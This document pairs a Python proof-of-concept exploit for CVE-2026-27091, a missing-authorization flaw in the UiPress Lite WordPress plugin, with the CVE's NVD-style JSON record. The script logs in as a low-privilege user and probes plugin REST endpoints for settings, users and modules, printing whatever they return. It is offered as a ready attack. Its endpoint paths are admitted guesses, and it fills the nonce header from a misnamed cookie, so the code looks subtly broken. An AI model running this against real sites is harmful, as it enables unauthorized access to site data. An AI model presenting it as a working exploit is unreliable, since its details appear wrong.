CVE-2026-27091

import requests import json # CVE-2026-27091 PoC - Missing Authorization in UiPress Lite # Target: WordPress site with UiPress Lite plugin <= 3.5.09 target_url = "http://target-wordpress-site.com" username = "attacker" # Low-privilege user account password = "password" # Step 1: Authenticate and get nonce/cookies login_url = f"{target_url}/wp-login.php" auth_data = { "log": username, "pwd": password, "wp-submit": "Log In" } session = requests.Session() login_response = session.post(login_url, data=auth_data) # Step 2: Identify UiPress Lite vulnerable endpoint # The plugin's API endpoints lack proper authorization checks uipress_api_endpoints = [ "/wp-json/uipress-lite/v1/settings", "/wp-json/uipress-lite/v1/users", "/wp-json/uipress-lite/v1/modules" ] # Step 3: Exploit - Access admin functions with low-privilege token for endpoint in uipress_api_endpoints: exploit_url = f"{target_url}{endpoint}" headers = { "Content-Type": "application/json", "X-WP-Nonce": session.cookies.get("wordpress_logged_in_") or "" } # Attempt to access privileged data/functions response = session.get(exploit_url, headers=headers) if response.status_code == 200: print(f"[+] Vulnerable endpoint found: {endpoint}") print(f"[+] Response: {response.text}") else: print(f"[-] Endpoint protected: {endpoint}") print("\n[!] Note: Verify endpoint paths with your specific UiPress Lite installation")

{"cve": {"id": "CVE-2026-27091", "sourceIdentifier": "[email protected]", "published": "2026-03-19T07:15:58.263", "lastModified": "2026-04-23T15:37:19.230", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in UiPress UiPress lite uipress-lite allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects UiPress lite: from n/a through <= 3.5.09."}, {"lang": "es", "value": "Vulnerabilidad de autorización faltante en UiPress UiPress lite permite la explotación de niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a UiPress lite: desde n/a hasta 3.5.09."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/uipress-lite/vulnerability/wordpress-uipress-lite-plugin-3-5-09-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}